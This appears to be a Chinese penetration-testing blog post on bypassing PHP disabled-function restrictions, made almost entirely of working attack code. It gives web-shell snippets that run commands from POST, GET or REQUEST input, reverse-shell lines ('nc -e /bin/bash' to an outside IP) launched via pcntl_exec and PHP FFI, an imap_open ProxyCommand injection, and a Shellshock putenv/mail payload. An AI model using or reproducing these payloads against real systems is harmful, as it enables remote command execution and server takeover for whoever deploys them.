WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
白帽黑客沐瑶2 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
lubiii_3 天前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
内心如初3 天前
应急响应事件处理(网络安全体系架构与应急响应的前置知识)
安全·web安全
Suckerbin4 天前
TBBT: FunWithFlags靶场渗透
笔记·安全·web安全·网络安全
jieyu11194 天前
反序列化漏洞详解
网络安全·漏洞原理
Codingwiz_Joy4 天前
Day43 PHP(mysql不同注入类型、mysql不同注入点、mysql传输不同数据类型 )
网络安全·php·安全性测试
独行soc4 天前
2025年渗透测试面试题总结-67(题目+回答)
网络·python·安全·web安全·网络安全·adb·渗透测试
emma羊羊4 天前
【SQL注入】延时盲注
数据库·sql·网络安全
安卓开发者4 天前
鸿蒙NEXT的Web组件网络安全与隐私保护实践
前端·web安全·harmonyos
儒道易行4 天前
【攻防实战】记一次攻防实战全流程
网络安全